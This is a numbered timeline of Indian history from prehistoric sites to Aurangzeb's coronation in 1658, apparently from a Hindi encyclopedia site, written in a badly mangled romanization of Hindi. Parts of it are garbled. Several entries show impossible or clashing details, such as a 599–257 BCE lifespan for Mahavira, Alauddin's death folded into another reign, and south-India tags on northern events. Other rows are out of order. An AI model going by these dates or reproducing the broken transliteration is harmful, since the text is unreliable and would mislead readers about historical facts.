भारत का इतिहास (तिथि क्रम)

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
bharat vishay soochi
parichay    itihas    bhoogol    sanvidhan    dharm   krishi    vany jivan    bhasha    shiksha    kala    sanskriti    khanapan    raksha    rajy    paryatan    alekh
itihas tithi kram 1947 tak
kram tithi kram vivaran
1 7000 ee.poo. rajasthan (sambhar) mean bone paudhe ke pratham sakshy.
2 6000 ee.poo. meharagadh (siandh-baloochistan sima), burzahom (kashmir) mean bharat ke prachinatam avas, krishi tatha pashupalan ke avashesh.
3 5000–4000 ee.poo. bagor (bhilava da) tatha adamagadh (hoshangabad) ke nikat akhetakoan dvara bhe d-bakari palan ke pratham avashesh.
4 4000–3000 ee.poo. khetiharoan-pashupalakoan ki sthaniy sabhyataean.
5 2500 ee.poo. siandhu ghati mean poorv-h dappa sabhyata ke nagaroan ka vikas, asthi evan prastar upakaran tatha manakoan ke abhooshan ke avashesh.
6 2500–1750 ee.poo. rediya-karban tithi-nirdharan ke adhar par h dappa sabhyata ka kal-vistar.
7 2250–2000 ee.poo. h dappa sabhyata ka poorn-vikasit daur, vighatan tatha sthaniy sabhyataoan ka uday.
8 1500 ee.poo. bharat mean aryoan ka agaman, rrigved ki rachana, vaidik kal (1500-1000) prarambh, ganga ke maidan mean aryottar tamr sabhyata.
9 1000 ee.poo. aryoan ka (ganga maidan) vistar, uttar vaidik kal prarambh, 'brahman granthoan' ki rachana, varn vyavastha ka bijaropan, lauh dhatu ka prayog prarambh.
10 950 ee.poo. mahabharat ka yuddh.
11 800 ee.poo. maharshi vyas ke dvara mahabharat mahakavy ki rachana, aryoan ka dakshin-poorv (bangal) ki or vistar, ramayan ka pratham vrittant.
12 600–550 ee.poo. upanishadoan ki rachana, aryoan ka vidarbh tatha godavari tak dakshin-vistar. solah mahajanapadoan ki sthapana, ary sabhyata mean karmakandiy anushthan pratishthit.
13 563–483 ee.poo. bauddh dharm ke sansthapak gautam buddh ka jivan kal, janm-lumbini, mrityu-kushinagar.
14 599–257 ee.poo. jain dharm ke punarpratishthapak vardhaman mahavir ka kal (janm-kundagram, vaishali), mrityu-pavapuri, kushinagar.
15 544–492 ee.poo. gautam buddh ke samakalik bimbisar (haryak vansh) ka rajyakal, magadh rajy ki shreshthata.
16 517–509 ee.poo. hakhamani vansh (eeran) ke samrat deriyas pratham ke sath pratham videshi akraman, aryoan ki parajay, yoonani nau-senapati skailaiks dvara sindhu nadi par gaveshan abhiyan.
17 492–460 ee.poo. bimbisar ke putr ajatashatru ka rajyakal.
18 412–344 ee.poo. shishunag vansh ka shasanakal, avanti ke pradyaut vansh ka magadh samrajy mean vilay.
19 400 ee.poo. sampoorn dakshin bharat mean aryoan ka prabhutv, sambhavatah shrilanka tak vistar. (dakshin bharat)
20 344 ee.poo. mahapadmanand dvara magadh mean nandavansh ki sthapana.
21 326 ee.poo. nand vanshi raja ghananand ki sainy shakti se prabhavit hokar sikandar ke sainikoan ka vapas lautane ka irada, vapasi marg mean bebilon mean sikandar ki mrityu.
22 322 ee.poo. chandragupt maury dvara (kautily ki madad se) nand shasak ghananand ko parajit kar maury vansh ki sthapana.
23 315 ee.poo. indika ke lekhak tatha selyukas (yoonani shasak) ke doot megasthaniz ka bharat mean agaman.
24 298–273 ee.poo. chandragupt maury ke putr bindusar ka rajy kal.
25 273–232 ee.poo. ashok ka shasanakal, mauryavansh ka svarnayug, ashok dvara kaliang ki vijay (262-61).
26 185 ee.poo. antim maury shasak brihadrath ki hatya kar maury senapati pushyamitr shuang dvara shuang vansh ki sthapana.
27 190–171 ee.poo. yavan shasak demetriyas ka rajyakal.
28 165 ee.poo. kaliang shasak kharavel dvara 'tramiradesh sanghatam' (pandy, chol) rajy par vijay.
29 155–130 ee.poo. sabase prasiddh yavan shasak 'minandar' (milind) ka rajyakal.
30 145 ee.poo. chol raja elara ki shrilanka ke shasak asel par vijay tatha lagabhag 50 varshoan tak shasan.
31 128 ee.poo. yoochi akraman ke bhay se shak qabiloan ka bharat mean panjab se pravesh.
32 71 ee.poo. shuang vansh ke antim samrat devabhooti ki hatya, vasudev ke dvara kanv vansh ki sthapana.
33 60 ee.poo. andhr mean simuk dvara satavahan vansh ki sthapana.
34 58 ee.poo. ujjain ke shasak vikramadity dvara vikram sanvat ka prarambh.
35 50 ee.poo. dakshin bharat (dakkan) mean satavahan vansh shuroo.
36 22 ee.poo. rom ke shasak agastas ke darabar mean pandy rajadoot pahuancha, chol, pandyoan ka rom mean vyaparik sambandh.
37 14–13 ee. shak (hind-parthiyan) shasak goandofॅras ka shasan, eesaee dharm prachar hetu roman sant seant tamas ka bharat mean agaman.
38 15 ee. kushanoan (yoochi ka tochariyan) ka bharat mean pravesh.
39 64 ee. uttar-pashchimi bharat mean shak vim kadafaisis ka rajy.
40 78 ee. kushan vansh ke mahanatam shasak kanishk ka rajyarohan, usake dvara shak sanvat ka prarambh.
41 78–101 ee. kanishk ka shasanakal, chauthi bauddh sangiti ka (kashmir mean) ayojan.
42 100 ee. ashvaghosh dvara 'saundaranand' tatha 'buddhacharit' evan 'kumaralat' ke dvara 'kalpamanditika' ki rachana.
43 100–200 ee. sangam yug, karikal ka shasan (trichanapalli ke nikat kaveri nadi par sianchaee baandh ka nirman). (dakshin bharat)
44 109–132 ee. mahanatam satavahan shasak gautamiputr satakarni dvara rajy vistar.
45 150 ee. baghelakhand, varanasi tatha age chalakar mathura tak ke kshetr mean bharashiv nagaoan ki vibhinn shakhaoan ka rajy.
46 200–250 ee. satavahanoan ka patan, maharashtr mean abhir, uttari kanara tatha maisoor ziloan mean kuntal aur katu, andhr mean ikshvaku tatha vidarbh mean vakatakoan ki satta sthapit.
47 300–888 ee. kaanchi mean pallavoan ka shasanakal. (dakshin bharat)
48 225 ee. viandhyashakti dvara vakatak shasan ki sthapana, agale 272 varshoan tak is vansh ka shasan.
49 250 ee. nasik mean abhiroan dvara traikutakar vansh ki sthapana, agale 250 varshoan tak is vansh ka shan.
50 320–335 ee. chandragupt pratham ne gupt vansh ko sthapit kiya.
51 325 ee. krishnaa nadi ke dakshin mean pallav vanshi rajy ki sthapana.
52 335–376 ee. samudragupt ka shasanakal.
53 330–375 ee. sampoorn uttar bharat mean samudragupt ka shasan. poorv mean asam, pashchim mean kabul, uttar mean nepal tatha dakshin mean pallavoan tak, keval ujjain svatantr (shak vansh ke adhin).
54 350 ee. mayoorasharman dvara kadamb vansh ki sthapana jo agale 200 varshoan tak vidyaman raha.
55 375–413 ee. chandragupt dvitiy vikramadity dvara ujjain, malava tatha gujarat par vijay, rajadhani pataliputr se ayodhya aur tatpashchath kaushambi sthanantarit, chini yatri fahyan ka bharat agaman.
56 415–454 ee. kumaragupt pratham ka shasanakal, nalanda mean bauddh vihar tatha vishvavidyalay ki sthapana, hunoan ke akraman ka khatara.
57 455–467 ee. skandagupt ka shasanakal, hoonoan ka bharat par pratham akraman tatha unaki parajay.
58 477–496 ee. buddhagupt guptavansh ka antim samrat, guptavansh ka vighatan prarambh.
59 490–766 ee. saurashtr ke ballabhi kshetr mean maitrak (sambhavatah videshi mool) akramakoan ka shasan. (pashchim bharat)
60 500–502 ee. hoonoan ke pratham shasak toraman dvara bharat mean rajy sthapana tatha madhyavarti bhag (malava mean eran) tak usaka vistar.
61 500–757 ee. pashchim tatha madhy dakkan mean vatapi ka pratham chaluky vansh. (dakshin bharat)
62 502–528 ee. toraman ka uttaradhikari mihirakul bharat mean gupt shasak bhanugupt dvara parajit, eran par guptavansh ka punah adhikar, (510).
63 533 ee. mandasaur ke yashodharman ki mihirakul par vijay.
64 540 ee. paravarti gupt tatha gupt vansh ki mukhy shakha ka ant.
65 550–861 ee. madhy rajapootana mean madhy eshiya mean aye hue gurjar khanabadosh daloan ka shasan sthapit. (pashchim bharat)
66 600–1200 ee. maukhari vansh ke shasak yashovarman ki mrityu (752), uttar, madhy, pashchim tatha dakshin bharat mean anek samantoan ke dvara svatantrata ki ghoshana, anek chhote-b de rajyoan ka uday, bangal mean gau d, khang, varman, pal tatha sen vansh, ujjain mean gurjar-pratihar, kannauj mean pratihar, u disa mean bhaum, bhanj, som tatha poorvi gang vansh, asam mean bhaskar varma, gujarat mean chaluky, dhara mean paramar, narmada-tripuri tatha uttar pradesh mean kalachuri, rajasthan mean chahaman (chauhan), buandelakhand mean chandel, kannauj mean gah daval, kashmir mean karkot, utpal tatha lohar, afaganistan-panjab mean hindushahi vansh.
67 606–647 ee. harsh (pushyabhuti ya kanyakubj vansh) ka shasanakal. chini bauddh yatri hven tsaang ka bharat agaman (630-44), banabhatt ne 'harshacharit' ki rachana ki.
68 630–970 ee. poorvi dakkan mean veangi ke poorvi chalukyoan ka shasanakal. (dakshin bharat)
69 636–637 ee. khalifa umar ke samay mean araboan ka bharat par pahala abhilikhit hamala. (dakshin bharat)
70 643 ee. chini yatri hvenasaang ki chin vapasi. (dakshin bharat)
71 647 ee. tibbat se kannauj ate hue hven saang par kisi sthaniy samant ke dvara hamala. harshavardhan ki mrityu. (dakshin bharat)
72 674 ee. vikramadity pratham, chaluky aur parameshvar varman pratham, pallav shasak bane. (dakshin bharat)
73 675–685 ee. tisare chin yatri itsiang ka nalanda avas. (dakshin bharat)
74 700 ee. kannauj mean yashovarman (maukhari vansh) sianhasanaroodh, sanskrit natyakar bhavabhooti tatha prakrit kavi vakpatiraj ko usake rajadarabar mean sanrakshan.
75 700–900 ee. dakshin bharat mean alavaroan (vaishnav) ka bhakti aandolan, bhakti sangrah 'prabandhamh' ki rachana. (dakshin bharat)
76 712 ee. muhammad bin qasim ke netritv mean bharat par pratham arab akraman, maitrak rajy ka patan. (pashchim bharat), muhammad bin qasim ka sindh par akraman, devalagadh vijay, nirun ki l daee mean hindoo raja dahir ki mrityu, qasim ki brahmanabad par vijay.
77 730 ee. kannauj mean maukhari shasak yashovarman sianhasanarudh.
78 753–774 ee. khalifa mansoor ke kal mean brahmagupt ke 'brahm siddhant' tatha 'khandanakhady' ka alfajari dvara arabi mean anuvad.
79 757–973 ee. manyakhet mean rashtrakootoan ka shasanakal. (dakshin bharat)
80 740–1036 ee. uttar bharat mean gurjar-pratiharoan ka adhipaty, araboan ka pratirodh. (uttari bharat)
81 746–974 ee. chhap ya chhapautakatt, gurjar qabile dvara 746 ke asapas anhilapur (anandapur) ki sthapana, jo 15vian shati tak pashchim bharat ka pramukh nagar raha. (pashchim bharat)
82 786–808 ee. eerani shasak khalifa haroon-al-rashid ka shasanakal, baramask (ek mantri) dvara bharat ke anek vaidyoan, jyotishiyoan, rasayanashastriyoan, vicharakoan ko bagadad bulakar unase in vishayoan ke anek granthoan ka arabi mean anuvad karavaya.
83 824–924 ee. vaishnav bhaktikal.
84 831–1310 ee. chandeloan dvara buandelakhand mean svatantr rajy ki sthapana, anek vishnu mandiroan aur khajurahoan ke mandiroan ka bhi nirman. (pashchim bharat)
85 840–890 ee. sataluj se narmada nadi tak mihirabhoj ya bhoj ka shasan. (pashchim bharat)
86 950–1200 ee. iandaur ke pas dhara mean paramaroan ka rajy, jinamean muanj (974-994) tatha bhoj prasiddh raja hue, bhoj jyotish, kavyashastr, vastukala tatha sanskriti ka vidvanh tha. (pashchim bharat)
87 973–1189 ee. kalyani ka dvitiy chaluky vansh. (dakshin bharat)
88 974–1240 ee. chalukyoan ka anhilapur, saurashtr tatha aboo kshetr mean prabhutv, chaluky shasak moolaraj ka shasan kal (974-995). (pashchim bharat)
89 985–1014 ee. chol shasak rajaraj ka shasanakal, bhoomi-sarvekshan ka prarambh (1000 ee.). (dakshin bharat)
90 986–87 ee. khurasani shasak alaptagin ke gulam subuktagin ka kabul-kandhar mean hindushahi shasak jayapal par pratham akraman, jayapal parajit.
91 997–998 ee. subuktagin ki mrityu, mahamood gajanavi khurasan ki gaddi par baitha.
92 999 ee. bagadad ke khalifa dvara mahamood gajanavi ko svatutr shasak ke roop mean manyata.
93 1000 ee. mahamood gajanavi ka bharat par (kabul mean) pratham akraman, sthaniy janata par loot tatha jabaran dharm parivartan.
94 1002 ee. mahamood gajanavi ka tisara akraman, anandapal se yuddh tatha usaki parajay.
95 1010 ee. anandapal apamanajanak shartoan par mahamood gajanavi ka samant bana.
96 1011–1012 ee. mahamood ka thaneshvar par hamala, uttar-pashchim bharat mean hindushahi vansh ke chhote-b de sabhi rajy dhvast.
97 1013 ee. anandapal ki mrityu, putr trilochanapal uttaradhikari bana.
98 1014 ee. toshi ki l daee mean trilochanapal parast, jhelam tak ka kshetr mahamood gajanavi ke rajy mean sammilit.
99 1014–1044 ee. chol raja rajendr ka shasanakal, shrilanka ki vijay (1018), bangal par akraman (1021). (dakshin bharat)
100 1017 ee. shankarachary ke 'mayavad' ka khandan kar vishishtadvaitavad mat ki sthapana karane vale vaishnav achary ramanuj ka janm.
101 1018–1019 ee. mahamood gajanavi ka ganga nadi-yamuna doab kshetr par qabza.
102 1025–1026 ee. gajanavi ke dvara somanath mandir (gujarat) ki loot.
103 1026 ee. antim hindooshahi shasak bhimapal ki mrityu, kabul-kandhar ke hindushahi vansh ka ant.
104 1027 ee. jatoan ko kuchalane ke lie mahamood gajanavi ka bharat (gujarat-sindh) par 17vaan v antim akraman.
105 1030 ee. mahamood gajanavi ki mrityu; masood, gajani ka sultan, 'kitab-ul-hind' ke lekhak alaberooni ka bharat agaman.
106 1043 ee. sthaniy hindoo rajaoan ka lahaur par punah adhikar kar svadhin rajy sthapit karane ka prayas viphal.
107 1044–52 ee. rajendr ke uttaradhikari rajadhiraj pratham ka shasanakal. (dakshin bharat)
108 1052–64 ee. rajendr dvitiy ka shasanakal. (dakshin bharat)
109 1064–70 ee. vir rajendr chol ka shasanakal. (dakshin bharat)
110 1070–1120 ee. kulottuang pratham ka shasanakal, andhr ka chol rajy mean viley (1076). (dakshin bharat)
111 1120–1267 ee. paravarti chol shasakoan ka kal. (dakshin bharat)
112 1131 ee. karnatak mean liangayat sampraday ke sansthapak sant basaveshvar ya basav ka janm. (dakshin bharat)
113 1137 ee. vishishtadvaitavad mat ke vicharak sant ramanujachary ka dehant.
114 1162 ee. dvaitavadi vaishnav sant nimbark svami ka janm.
115 1163 ee. muijuddin mohammad gauri gajani ka shasan bana.
116 1167 ee. sant basaseshvar ka nidhan.
117 1191 ee. taraeen ke pratham yuddh mean rajapoot shasak prithviraj tritiy ke hathoan muhammad gori parajit.
118 1192 ee. taraeen ka doosara yuddh, mohammad gauri ke hathoan prithviraj tritiy ki har, gauri ka gulam kutubuddin aibak bharat ka soobedar niyukt, merath evan kaul (aligadh) par adhikar.
119 1192–1193 ee. dilli par kutubuddin aibak ka adhipaty.
120 1199 ee. dvaitavadi sampraday ke achary mahadev madhvachary ka janm.
121 1200 ee. mohammad gauri ki mrityu.
122 1206 ee. kutubuddin aibak dvara 'dilli saltanat' ki sthapana; dilli saltanat par shasan karane vale pratham vansh- 'ilbari vansh' ki sthapana; qutubaminar ka nirman arambh.
123 1210 ee. aibak ki mrityu, aramashah uttaradhikari bana.
124 1211–1236 ee. iltutamish ka shasanakal, ranathambhaur vijay (1226).
125 1221 ee. bharat par changez khaan ka hamala.
126 1228 ee. bagadad ke khalifa se iltutamish ko 'khillat' arthath 'islami shasak ke roop mean manyata'.
127 1229 ee. pratham yooropiy yatri mante kairbano (itali) ka bharat agaman.
128 1236 ee. iltutamish ke uttaradhikari rukunuddin firozashah ki mrityu, rajiya sultan gaddi par baithi.
129 1239 ee. ikhtiyaruddin altooniya ka vidroh.
130 1240 ee. rajiya sultan ki hatya.
131 1241 ee. bharat par mangoloan ka pratham akraman.
132 1246 ee. sultan nasiruddin gaddi par asin, 1265 mean usaki mrityu.
133 1253 ee. amir khusaro ka janm.
134 1266 ee. gayasuddin balaban gaddi par baitha.
135 1279 ee. maharashtr mean sant sammelan ka ayojan.
136 1279 ee. bangal mean tugaril khaan ka vidroh.
137 1286 ee. balaban ki mrityu.
138 1288–1293 ee. prasiddh venish yatri marko polo ki bharat yatra.
139 1290 ee. jalaluddin khilaji dilli ka sultan, khilaji vansh ki sthapana.
140 1294 ee. alauddin khilaji ka devagiri abhiyan.
141 1295–1316 ee. alauddin khilaji dilli ka sultan, rajy-vistar abhiyan prarambh; gujarat (1299), ranathambhaur (1301), chittau d (1303), malava (1305), malik kafoor ke netritv mean dakkan abhiyan, 1320-1325-alauddin ki mrityu
142 1320–1325 ee. gayasuddin tugalaq (gazi malik) dilli ka sultan bana, tugalaq vansh ki sthapana, kakatiy tatha pandyoan ke rajy ka dilli saltanat mean vilay (1321-1323).
143 1325 ee. gayasuddin ki mrityu, muhammad bin tugalaq gaddi par asin, amir khusaro ki mrityu, phaiansiskan padari adorik af porden aaun ki bharat yatra.
144 1326–1327 ee. muhammad tugalaq dvara dilli se daulatabad rajadhani ka sthanantaran.
145 1330 ee. muhammad tugalaq dvara prayog ke taur par sone ke sthan par taanbe ke sikke jari kie ge.
146 1333 ee. afriki yatri ibnabatoota ki bharat yatra.
147 1336 ee. harihar evan bukka dvara vijayanagar rajy ki sthapana.
148 1342 ibnabatoota ka chin ko prasthan.
149 1347 ee. alauddin bahaman shah pratham ke dvara bahamani rajy ki sthapana.
150 1350 ee. vidyapati ka janm, sant namadev ka nidhan.
151 1351 ee. muhammad tugalaq ki mrityu, firoz shah tugalak uttaradhikari bana.
152 1351–1388 ee. sultan firoz shah tugalak ka rajyakal, bangal abhiyan (1353-54, 1359, 1369), kaang da vijay (1360-61), thatta vijay (1371-72), firoj ki mrityu.
153 1388–1414 ee. paravarti tugalaq shasakoan ka shasanakal.
154 1398 ee. taimoor lang ka bharat par akraman, dilli par adhikar, bharat mean arajakata.
155 1399 ee. dilli saltanat ka vighatan prarambh, soobedaroan dvara svatantr rajyoan ki sthapana, dilli-doab mean iqabal khaan, gujarat mean jafar khaan, siandh-multan mean khizr khaan, mahoba-kalapi mean mahamood khaan, kannauj athava bihar mean khvaja jahan, dhara (indaur) mean dilavar khaan, saman mean galib khaan, bayana mean shakhs khaan tatha gvaliyar mean bhimadev dvara svatantr rajy sthapit.
156 1411–42 ee. ahamadashah dvara ahamadabad ki sthapana evan svatantrata ki ghoshana.
157 1412 ee. antim tugalaq shasak mahamood ki mrityu, tugalaq vansh ka patan.
158 1414 ee. dilli par khizr khaan ka adhikar.
159 1420–1421 ee. itali ke yatri nikolo koanti ki bharat yatra.
160 1429 ee. bahamani rajy ki rajadhani gulabarga se bidar sthanantarit.
161 1430–69 ee. meva d mean rana kumbha ka rajyakal.
162 1442 ee. abdurrajjak ki vijayanagar yatra.
163 1447 ee. bahalol lodi ka dilli par adhikar, lodi vansh ki sthapana.
164 1450 ee. gorakhanath ki sakhiyoan ki rachana.
165 1455 ee. prasiddh sant kabir ka janm.
166 1469 ee. sikkh dharm ke sansthapak gurunanak dev ka nanakana (panjab) mean janm.
167 1470 ee. roosi yatri nikitin ki bharat yatra.
168 1472 ee. sherashah soori ka janm.
169 1479 ee. ballabhachary ka janm.
170 1483 ee. jahirooddin babar ka pharagana mean janm.
171 1485 ee. chaitany mahaprabhu ka janm.
172 1486 ee. purtagali navik saradar bartholomyo diaj denovej ne 'kep aauf gud hop' (shubh yatra aantarip) ki khoj ki, isi marg se bad mean vaskodigama ne bharat ki yatra ki.
173 1489 ee. sikandar lodi gaddi par asin, bijapur svadhin.
174 1490 ee. dilli saltanat se ahamadanagar svadhin.
175 1494 ee. bangal mean husainashah gaddi par asin, babar pharagana ka amir bana.
176 1498 ee. purtagali navik vaskodigama bharat mean, kalikat pahuancha.
177 1502 ee. purtagal ke raja j aaun dvitiy ko pop alekjeandar shashtam ka 'bul' pradan kiya gaya, jisase purtagaliyoan ko bharat ke sath vyapar karane ka ekadhikar tatha bharat mean rajy sthapit karane ka aupacharik adhikar mila.
178 1503 ee. pharagana babar ke adhikar se mukt.
179 1504 ee. itali ke ludoviko di barthema ki pashchim tatha dakshin bharat ki yatra, kabul par adhikar kar babar ka multan ki or prasthan.
180 1507 ee. gujarat ke shasak mahamood beg da ka div (gova) mean purtagaliyoan ke viruddh abhiyan.
181 1508 ee. dvitiy mugal samrat humayooan ka janm.
182 1509 ee. vijayanagar mean krishnadevaray sianhasanaroodh, purtagali gavarnar fraansisko-d-almeda bharat aya.
183 1509–1527 ee. meva d mean rana saanga ka rajyakal.
184 1510 ee. gova par purtagaliyoan ka adhikar, alabukark gavarnar bana.
185 1512–1518 ee. golakunda bahamani rajy se mukt.
186 1517 ee. sikandar lodi ki mrityu ke pashchath ibrahim lodi gaddi par baitha.
187 1519 ee. babar ka bharat agaman.
188 1520 ee. babar ka bhira, siyalakot par akraman.
189 1522 ee. babar ka kandhar par adhikar.
190 1523 ee. lahaur aur sarahind par babar ka akraman, lahaur par adhikar (1524).
191 1526 ee. (21 aprail) babar tatha ibrahim lodi ke madhy panipat ka pratham yuddh, ibrahim lodi ki parajay tatha mrityu, dilli par qabze ke sath hi mugal samrajy ki sthapana.
192 1527 ee. rana sangram sianh tatha babar ke madhy khaandava ka yuddh (16 march), sangram sianh parajit.
193 1528 ee. rana sangram sianh ki mrityu, babar ne sahayog ke badale sherashah ko sasaram (bihar) ki paitrik jagir vapas ki.
194 1530 ee. babar ki mrityu (29 mee), vijayanagar ke raja krishnadev ray ki mrityu (26 disambar).
195 1531 ee. gujarat ke bahadurashah ka malava tatha ujjain par adhikar.
196 1532 ee. rayasen, chanderi evan mandasaur par bahadurashah ka adhikar tatha chittau d par pahala hamala.
197 1533 ee. bahadurashah ne chittau d ka ghera uthaya, ranathambhaur tatha ajamer par adhikar, vaishnav sant chaitany ka nidhan.
198 1534 ee. humayooan ka malava ko prasthan, sherashah ne soorajagadh ki l daee mean bangal ke shasak mahamood khaan ko parast kiya.
199 1535 ee. purtagaliyoan ki sahayata se bahadurashah ka chittau d par adhikar, humayooan se bahadurashah parajit, humayooan ki gujarat tatha malava par vijay.
200 1536 ee. humayooan ne askari ko gujarat ka shasak niyukt kiya, gujarat mean mugaloan ke viruddh vidroh.
201 1537 ee. gujarat ke shasak bahadurashah ki mrityu.
202 1538 ee. sherashah ke hathoan bangal ka shasak mahamoodashah parast, humayooan ka bangal par akraman, sikkh guru nanak dev ka nidhan.
203 1539 ee. chausa ke yuddh mean humayooan sherashah se parajit.
204 1540 ee. sherashah dilli ki gaddi par baitha.
205 1542 ee. marava d ke raja maladev ke amantran par humayooan jodhapur pahuancha, amarakot mean (15 aktoobar) akabar ka janm.
206 1544 ee. humayooan faras ke tahamasp shah ki sharan mean pahuancha.
207 1545 ee. shah tahamasp ki madad se kandhar-kabul par punah humayooan ka adhikar, sherashah ki mrityu, islamashah gaddi par baitha.
208 1553 ee. soor vanshi shasak islamashah ki mrityu.
209 1555 ee. lahaur par humayooan ka adhikar.
210 1556 ee. humayooan ki mrityu (24 janavari), bairam khaan ke sanrakshan mean akabar mugal samrat bana, panipat ke doosare yuddh (5 navambar) mean akabar ke dvara adilashah ka divan hemoo parajit, purtagal se pahala pres bharat pahuancha, jise jesuit padari gova lekar ae the.
211 1557 ee. khizr khaan ke sath l daee mean adilashah mara gaya, sikandar soor ko harakar manakot ke qile par akabar ka adhikar.
212 1560 ee. akabar ke dvara bairam khaan ka nishkasan.
213 1561 ee. akabar ki malava par vijay.
214 1562 ee. amer ki rajakumari (raja bharamal ki putri) se akabar ka vivah, yuddh-banndiyoan ko das banane ki pratha ka unmoolan.
215 1563 ee. akabar dvara tirthayatra-kar ki samapti.
216 1564 ee. akabar dvara jaziya kar ki ugahi band, rani durgavati ko parast kar goandavana mugal rajy mean sammilit, rani dvara atmahatya.
217 1564–1567 ee. ujabekoan ka vidroh.
218 1565 ee. vijayanagar ke shasak ramaray aur bahamani sultanoan ke bich talikot ka yuddh, vijayanagar parajit.
219 1567 ee. radhavallabh sampraday ke pravartak shri harivansh ka devaband (saharanapur) mean janm.
220 1568 ee. akabar ki chittau d par vijay.
221 1569 ranathambhaur aur kalianjar par akabar ka adhikar, yuvaraj salim (jahaangir) ka janm.
222 1571 ee. akabar dvara fatehapur sikari ka nirman tatha rajadhani banane ka nirnay.
223 1572 ee. rana udayasianh ki mrityu, jalaur ke raja aur meva d senapatiyoan ke dvara rana pratap ko gaddi par baithaya gaya.
224 1573 ee. kabir ka nidhan, gujarat par akabar ka adhipaty.
225 1574–76 ee. akabar ki bihar-bangal par vijay.
226 1575 ee. thukaroee (u disa) ka yuddh, akabar dvara daood khaan parajit fatehapur sikari mean ibadatakhana ki sthapana.
227 1576 ee. haldighati ka yuddh, akabar dvara rana pratap parajit, akabar ka bangal par adhikar, daood khaan ki mrityu.
228 1578 ee. bharatiy bhasha ki pahali pustak "dutrina krista' (tamil bhasha mean) mudrit v prakashit, is pustak ke lie taip juaboan guanjalbej nam ke speni luhar ne kkilon (keral) mean dhale the. (dakshin bharat)
229 1579–1580 ee. akabar ne 'mahajaranama' (inphailibiliti dikri) jari kiya, bangal-bihar mean vidroh, akabar ke darabar mean gova se pratham jesuit mishan aya (1580).
230 1580–1611 ee. golakunda mean sultan kuli kutubashah dvitiy ke ashray mean 'rekhta' (hindustani ke adi roop) ke kaviyoan ko protsahan.
231 1611–1656 adilashah bijapur ki gaddi par asin.
232 1582 ee. akabar ke dvara din-e-ilahi ki ghoshana.
233 1583 ee. pahale paanch aangrez vyapari (j aaun nyoobari, richard stepar, ralf, jems stori tatha viliyam lids) akabar ke nam maharani elijabeth ka patr lekar bharat pahuanche, akabar se inaki mulaqat nahian ho paee, lekin lids ko akabar ke yahaan jhaveri ki naukari mil gee, phianch ath sal tak bharat-barma ki yatra karane ke bad 26 aprail, 1591 ko landan pahuancha, phianch ke vivaran se hi aangrez vyapariyoan ki bharat se vyapar karane ki lalasa balavati huee.
234 1585 ee. kashmir par akabar ka adhipaty.
235 1589 ee. raja todaramal ki mrityu.
236 1590–1592 ee. akabar ki siandh par vijay.
237 1591 ee. faizi ko mugal rajadoot banakar dakkan ke rajyoan mean bheja gaya.
238 1592 ee. u disa par akabar ka adhikar.
239 1595 ee. akabar ki kandhar vijay, baloochistan mugal samrajy mean sammilit.
240 1597 ee. rana pratap ki mrityu.
241 1600 ee. ahamadanagar ka patan, landan mean maharani elijabeth dvara apane bhaee jarj, arl aauf kambaralaiand tatha sar j aaun h aaurt ki eest iandiya kampani (d gavarnar eand kampani aauf landan trediang in tu d eest iandij) ko bharat se vyapar karane ke lie adhikar patr pradan kiya gaya.
242 1601 ee. akabar ka asiragadh par adhikar.
243 1602 ee. abul fajal ki mrityu, dach yoonivarsal yoonaited eest iandiya kampani ki sthapana, 13 varshoan mean hi halaind ke eshiya vyapar mean asadharan vriddhi.
244 1601–1603 ee. akabar ke putr salim ka vidroh.
245 1605 ee. akabar ki mrityu (16 aktoobar), jahaangir gaddi par baitha (24 aktoobar).
246 1606 ee. shahajada khusaro ka vidroh, jahaangir ke adeshanusar paanchavean sikkh guru arjun dev ko pranadand, eeraniyoan dvara kandhar ka gherav, jahaangir ki meva d par chadhaee.
247 1607 ee. mugaloan ke dvara kandhar mukt.
248 1608 ee. ahamad nagar par malik ambar ka punah adhikar, ianglaind ke raja jems pratham ka patr lekar viliyam hakians jahaangir ke darabar mean bharat aya tatha tin sal tak usake darabar mean raha, 1612 mean vapas ianglaind lautakar bharat yatra ka vivaran likha, sant tukaram ka janm.
249 1609 ee. pulikat mean dach phaiktari sthapit.
250 1611 ee. masulipatatam mean aangrez phaiktari sthapit, jahaangir ka noorajahaan se vivah.
251 1611-1625 ee. golakunda mean sultan muhammad kutubashah ka shasanakal.
252 1612 ee. shahajada khurram (shahajahaan) ka mumataz mahal se vivah, bangal ki rajadhani rajamahal se dhaka sthanantarit.
253 1614 ee. meva d ke rana amar sianh se jahaangir ki sandhi.
254 1615 ee. meva d par jahaangir ka adhikar, ianglaind ke shasak jems pratham ke rajadoot ke roop mean sar tamas ro jahaangir ke darabar mean aya.
255 1620 ee. kaang da par mugaloan ka adhikar.
256 1622 ee. kandhar par faras ka punah adhikar, shahajahaan ka vidroh, gosvami tulasidas ka janm.
257 1625-1674 ee. golakunda ki gaddi par sultan abdulla kutbashah baitha.
258 1624 ee. ahamadanagar ke malik ambar ke hathoan mugal sena parajit.
259 1626 ee. mahavat khaan ka vidroh.
260 1627 ee. jahaangir ki mrityu (29 aktoobar), junnar (poona) ke nikat shivaneri ke qile mean shivaji ka janm (20 aprail).
261 1628 ee. shahajahaan mugal samrat bana (6 faravari).
262 1631 ee. mumataz mahal ki mrityu (7 joon).
263 1632 ee. bijapur par mugal akraman, purtagaliyoan ke viruddh sainy abhiyan, hugali mean unaki basti nasht.
264 1633 ee. ahamadanagar ke nizamashahi vansh ka ant, ahamadanagar mugal samrajy mean sammilit, daulatabad ke qile par adhikar.
265 1634 ee. aangrezoan ko bangal mean vyapar karane ka faraman mila, mahavat khaan ki mrityu.
266 1636 ee. bijapur aur golakunda se mugaloan ki sandhi, aurangazeb dakkan ka soobedar niyukt.
267 1638 ee. ali mardan dvara kandhar mugaloan ko samarpit.
268 1638 ee. shahajahaan dvara ne rajadhani shahar shahajahaannabad ka nirman prarambh.
269 1639 ee. aangrezoan dvara madras mean seant j aaurj fort ki adharashila rakhi gee. (dakshin bharat)
270 1646 ee. balkh par mugaloan ka adhikar, toran par shivaji ka adhikar.
271 1649 ee. kandhar par par punah faras ka adhikar.
272 1650 ee. marathi sant tukaram ka nidhan.
273 1656 ee. shivaji ka javali par adhipaty.
274 1657 ee. bidar ka patan aur mugaloan dvara bijapur ki gherabandi, shahajahaan ke asvasth hone par 'uttaradhikari ka yuddh' prarambh, bijapur ke sath dvitiy sandhi.
275 1658 ee. dharamat ke yuddh (5 mee) tatha samoogadh ke yuddh (8 joon) mean dara ki aurangazeb ke hathoan parajay, shahajahaan agara mean bandi (5 joon), aurangazeb ka rajyabhishek (31 julaee).
